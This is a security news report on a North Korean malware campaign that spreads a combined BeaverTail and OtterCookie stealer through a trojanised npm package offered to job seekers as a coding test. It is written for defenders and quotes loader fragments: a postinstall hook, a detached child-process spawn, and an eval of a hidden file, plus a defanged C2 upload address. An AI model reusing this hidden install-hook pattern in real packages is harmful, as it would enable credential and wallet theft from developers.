North Korean Hackers Using Malicious Scripts Combining BeaverTail and OtterCookie for Keylogging

A new information-stealer, targeting job seekers, has emerged through a trojanized Node.js application known as Chessfi.

This malware is delivered via a modified npm package hosted on the official repository. It integrates two previously separate tools—BeaverTail and OtterCookie—into a unified JavaScript payload.

Victims are deceived by fake employment offers and prompted to install the application for a supposed coding assessment, inadvertently activating scripts that harvest credentials, cryptocurrency wallets, and track user activity.

Cisco Talos analysts identified the campaign during an investigation of unusual outbound traffic from a compromised system.

The analysts discovered that a post-installation script in the node-nvm-ssh package initiates a hidden process that deobfuscates and evaluates a large JavaScript payload.

This payload combines BeaverTail’s browser extension enumeration and InvisibleFerret Python downloader with OtterCookie’s remote shell, file exfiltration, clipboard, and keylogging modules.

Upon execution, the malware establishes a connection to a command-and-control server using socket.io, allowing the attacker to remotely issue commands, steal files, and execute shell commands.

The keylogging component captures keystrokes and takes periodic desktop screenshots, which are uploaded to the C2 server along with clipboard contents.

Infected systems exhibit sustained network activity on high-numbered TCP ports, frequently 1418 for socket.io and 1478 for keylog uploads.

The malware creates a temporary folder named windows-cache and writes keystrokes to 1.tmp every second, with screenshots saved as 2.jpeg every four seconds.

Using Node.js packages node-global-key-listener , screenshot-desktop , and sharp , the module configures listeners for key events and schedules screenshot captures, then sends the data to hxxp://172.86.88.188:1478/upload.

In addition to credential theft and remote shell access, the infection mechanism employs a multi-stage chain to avoid detection. After cloning the repository, a malicious postinstall script in package.json executes the skip script:

"scripts": { "postinstall": "npm run test npm run transpile npm run skip" }

The skip command invokes node testfixtures/eval , which loads index.js by default. This script spawns a detached child process running file15.js :

const filePath = path.join(__dirname, 'node_modules', 'file15.js'); const child = spawn(process.execPath, [filePath], { detached: true, stdio: 'ignore' });

Finally, file15.js reads and evaluates the content of test.list using eval , revealing the combined BeaverTail and OtterCookie modules:

const fs = require('fs'); const path = require('path'); const filePath = path.join(__dirname, 'test.list'); fs.readFile(filePath, 'utf8', (err, data) => { eval(data); });

This infection chain—cloning a Git repository, executing npm scripts, spawning hidden processes, and dynamically evaluating an obfuscated payload—demonstrates a sophisticated approach to compromising systems.

By combining BeaverTail’s stealthy Python payload downloader and OtterCookie’s modular information-stealer, the campaign exploits familiar developer workflows to target unsuspecting victims.

Based on reporting by Cyber Security News.